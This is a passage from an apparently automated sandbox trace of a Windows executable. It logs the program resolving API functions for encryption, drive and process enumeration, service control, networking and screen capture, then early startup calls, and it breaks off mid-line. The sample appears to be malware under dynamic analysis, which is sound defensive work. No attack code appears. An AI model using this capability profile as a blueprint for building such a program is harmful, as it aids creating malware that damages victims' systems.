(lpLibFileName="SHLWAPI.dll") returned 0x772f0000 [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendA") returned 0x772fd65e [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindFileNameW") returned 0x7730bb71 [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathRemoveFileSpecW") returned 0x77303248 [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsA") returned 0x7732ad1a [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathFileExistsW") returned 0x773045bf [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathAppendW") returned 0x773081ef [0048.359] GetProcAddress (hModule=0x772f0000, lpProcName="PathFindExtensionW") returned 0x7730a1b9 [0048.359] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0048.359] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeA") returned 0x76d5ef75 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDirectoryW") returned 0x76d45063 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileW") returned 0x76d6830d [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="FormatMessageW") returned 0x76d44620 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessA") returned 0x76d41072 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0048.360] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatA") returned 0x76d62b7a [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableA") returned 0x76d433a0 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpW") returned 0x76d45929 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="GetShortPathNameA") returned 0x76d6594d [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0048.361] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="LocalAlloc") returned 0x76d4168c [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameA") returned 0x76d414b1 [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcatW") returned 0x76d6828e [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="SetEnvironmentVariableA") returned 0x76d4e331 [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyW") returned 0x76d63102 [0048.362] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileA") returned 0x76d45444 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpyA") returned 0x76d62a9d [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="SetPriorityClass") returned 0x76d5cf28 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="SetStdHandle") returned 0x76dc454f [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryA") returned 0x76d6d526 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatW") returned 0x76d5f481 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatW") returned 0x76d634d7 [0048.363] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesW") returned 0x76dc425f [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLCID") returned 0x76d43da5 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocale") returned 0x76d5ce46 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreW") returned 0x76d5ca5a [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="TlsFree") returned 0x76d43587 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="TlsAlloc") returned 0x76d449ad [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="SetUnhandledExceptionFilter") returned 0x76d487c9 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0048.364] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalMemoryStatus") returned 0x76d48b6d [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="FlushConsoleInputBuffer") returned 0x76de7a9f [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0048.365] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleMode") returned 0x76d5a77d [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileA") returned 0x76d453c6 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetNumberOfConsoleInputEvents") returned 0x76de793f [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="PeekConsoleInputA") returned 0x76de6f0d [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="FreeEnvironmentStringsW") returned 0x76d451cb [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentStringsW") returned 0x76d451e3 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeZoneInformation") returned 0x76d4465a [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetStringTypeW") returned 0x76d41946 [0048.366] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleW") returned 0x76de739a [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleMode") returned 0x76d41328 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="OutputDebugStringW") returned 0x76d6d1d4 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleCtrlHandler") returned 0x76d48a09 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="FatalAppExitA") returned 0x76dc4691 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringW") returned 0x76d417b9 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="AreFileApisANSI") returned 0x76dc40d1 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0048.367] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalFree") returned 0x76d45558 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="ReadConsoleInputA") returned 0x76de6f53 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleExW") returned 0x76d44a6f [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="WriteConsoleW") returned 0x76d67aca [0048.368] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTimeAsFileTime") returned 0x76d43509 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="IsProcessorFeaturePresent") returned 0x76d45235 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidCodePage") returned 0x76d44493 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetOEMCP") returned 0x76d6d1a1 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec [0048.369] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0048.369] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0048.369] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageW") returned 0x771505ba [0048.369] GetProcAddress (hModule=0x77130000, lpProcName="PostThreadMessageW") returned 0x77148bff [0048.369] GetProcAddress (hModule=0x77130000, lpProcName="DefWindowProcW") returned 0x77c725dd [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="DispatchMessageW") returned 0x7714787b [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="UpdateWindow") returned 0x77153559 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="CreateWindowExW") returned 0x77148a29 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="LoadCursorW") returned 0x771488f7 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="IsWindow") returned 0x77147136 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="ShowWindow") returned 0x77150dfb [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="RegisterClassExW") returned 0x7714b17d [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="PostQuitMessage") returned 0x77149abb [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="GetMessageW") returned 0x771478e2 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="DestroyWindow") returned 0x77149a55 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="SendMessageW") returned 0x77149679 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="GetProcessWindowStation") returned 0x77149eea [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="GetUserObjectInformationW") returned 0x77148068 [0048.370] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxA") returned 0x7719fd1e [0048.371] GetProcAddress (hModule=0x77130000, lpProcName="GetDesktopWindow") returned 0x77150a19 [0048.371] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxW") returned 0x7719fd3f [0048.371] GetProcAddress (hModule=0x77130000, lpProcName="TranslateMessage") returned 0x77147809 [0048.371] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="GetUserNameW") returned 0x7772157a [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="ReportEventA") returned 0x77713ee9 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="RegisterEventSourceA") returned 0x77722d46 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="DeregisterEventSource") returned 0x777235dd [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="CryptHashData") returned 0x7771df36 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyHash") returned 0x7771df66 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0048.371] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptCreateHash") returned 0x7771df4e [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 0x7771e124 [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0048.372] GetProcAddress (hModule=0x77710000, lpProcName="CryptGetHashParam") returned 0x7771df7e [0048.372] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x759d0000 [0048.374] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetPathFromIDListW") returned 0x75a617bf [0048.375] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderLocation") returned 0x75a5e141 [0048.375] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteA") returned 0x75c17078 [0048.375] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0048.375] GetProcAddress (hModule=0x759d0000, lpProcName="CommandLineToArgvW") returned 0x759e9ee8 [0048.375] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetFolderPathA") returned 0x75ae7804 [0048.375] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x76620000 [0048.375] GetProcAddress (hModule=0x76620000, lpProcName="CoInitialize") returned 0x7663b636 [0048.375] GetProcAddress (hModule=0x76620000, lpProcName="CoInitializeSecurity") returned 0x76647259 [0048.375] GetProcAddress (hModule=0x76620000, lpProcName="CoUninitialize") returned 0x766686d3 [0048.375] GetProcAddress (hModule=0x76620000, lpProcName="CoCreateInstance") returned 0x76669d0b [0048.375] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x76e40000 [0048.375] GetProcAddress (hModule=0x76e40000, lpProcName=0x6) returned 0x76e43e59 [0048.375] GetProcAddress (hModule=0x76e40000, lpProcName=0x8) returned 0x76e43ed5 [0048.375] GetProcAddress (hModule=0x76e40000, lpProcName=0x9) returned 0x76e43eae [0048.376] GetProcAddress (hModule=0x76e40000, lpProcName=0xc8) returned 0x76e43f21 [0048.376] GetProcAddress (hModule=0x76e40000, lpProcName=0xca) returned 0x76e4fd6b [0048.376] GetProcAddress (hModule=0x76e40000, lpProcName=0xc9) returned 0x76e44af8 [0048.376] GetProcAddress (hModule=0x76e40000, lpProcName=0xc) returned 0x76e45dee [0048.376] GetProcAddress (hModule=0x76e40000, lpProcName=0x2) returned 0x76e44642 [0048.376] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75660000 [0048.380] GetProcAddress (hModule=0x75660000, lpProcName="GetAdaptersInfo") returned 0x75669263 [0048.380] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x77230000 [0048.382] GetProcAddress (hModule=0x77230000, lpProcName=0xc) returned 0x7723b131 [0048.382] GetProcAddress (hModule=0x77230000, lpProcName=0xb) returned 0x7723311b [0048.382] GetProcAddress (hModule=0x77230000, lpProcName=0x34) returned 0x77247673 [0048.382] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x75590000 [0048.386] GetProcAddress (hModule=0x75590000, lpProcName="DnsFree") returned 0x7559436b [0048.386] GetProcAddress (hModule=0x75590000, lpProcName="DnsQuery_W") returned 0x755a572c [0048.386] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77550000 [0048.386] GetProcAddress (hModule=0x77550000, lpProcName="CryptStringToBinaryA") returned 0x77585d77 [0048.386] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x770a0000 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteObject") returned 0x770b5689 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="GetObjectA") returned 0x770b85d4 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="SelectObject") returned 0x770b4f70 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="GetDeviceCaps") returned 0x770b4de0 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="GetBitmapBits") returned 0x770bc155 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="BitBlt") returned 0x770b5ea6 [0048.386] GetProcAddress (hModule=0x770a0000, lpProcName="DeleteDC") returned 0x770b58b3 [0048.387] GetProcAddress (hModule=0x770a0000, lpProcName="CreateDCA") returned 0x770b7bcc [0048.387] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleDC") returned 0x770b54f4 [0048.387] GetProcAddress (hModule=0x770a0000, lpProcName="CreateCompatibleBitmap") returned 0x770b5f49 [0048.387] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x754d0000 [0048.392] GetProcAddress (hModule=0x754d0000, lpProcName="atexit") returned 0x754ec544 [0048.392] atexit (param_1=0x790920) returned 0 [0048.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fbc8 | out: lpSystemTimeAsFileTime=0x18fbc8*(dwLowDateTime=0x20ced3c0, dwHighDateTime=0x1d643ed)) [0048.404] GetCurrentThreadId () returned 0x570 [0048.404] GetCurrentProcessId () returned 0x4e4 [0048.404] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbc0 | out: lpPerformanceCount=0x18fbc0*=16924531694) returned 1 [0048.466] GetStartupInfoW (in: lpStartupInfo=0x18fb58 | out: lpStartupInfo=0x18fb58*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76d43519, hStdOutput=0x77c5fd35, hStdError=0x77cc7daf)) [0048.477] GetProcessHeap () returned 0x2c0000 [0048.618] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionEx") returned 0x76d44d28 [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventExW") returned 0x76dc410b [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSemaphoreExW") returned 0x76dc4195 [0048.618] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadStackGuarantee") returned 0x76d4d31f [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolTimer") returned 0x76d5ee7e [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolTimer") returned 0x77c8441c [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77cac50e [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolTimer") returned 0x77cac381 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThreadpoolWait") returned 0x76d5f088 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadpoolWait") returned 0x77c905d7 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="CloseThreadpoolWait") returned 0x77caca24 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="FlushProcessWriteBuffers") returned 0x77c60b8c [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77d1fde8 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessorNumber") returned 0x77cb1e1d [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalProcessorInformation") returned 0x76dc4761 [0048.619] GetProcAddress (hModule=0x76d30000, lpProcName="CreateSymbolicLinkW") returned 0x76dbcd11 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesEx") returned 0x76dc424f [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringEx") returned 0x76dc46b1 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatEx") returned 0x76dd6676 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoEx") returned 0x76dc4751 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetTimeFormatEx") returned 0x76dd65f1 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultLocaleName") returned 0x76dc47c1 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocaleName") returned 0x76dc47e1 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="LCMapStringEx") returned 0x76dc47f1 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentPackageId") returned 0x0 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0048.620] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0048.621] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x3bc) returned 0x2e15d0 [0048.621] GetCurrentThreadId () returned 0x570 [0048.626] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2d7960 [0048.626] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x8, Size=0x800) returned 0x2e1998 [0048.626] GetStartupInfoW (in: lpStartupInfo=0x18fb28 | out: lpStartupInfo=0x18fb28*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x425128, hStdOutput=0xd1df4a08, hStdError=0x30)) [0048.626] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0048.626] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0048.627] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0048.627] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe\" --Admin IsNotAutoStart IsNotTask" [0048.627] GetEnvironmentStringsW () returned 0x2e21a0* [0048.627] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xaca) returned 0x2e2c78 [0048.691] FreeEnvironmentStringsW (penv=0x2e21a0) returned 1 [0048.698] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x511130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\host1506_2020-06-15_14-07.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\host1506_2020-06-15_14-07.exe")) returned 0x43 [0048.698] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xde) returned 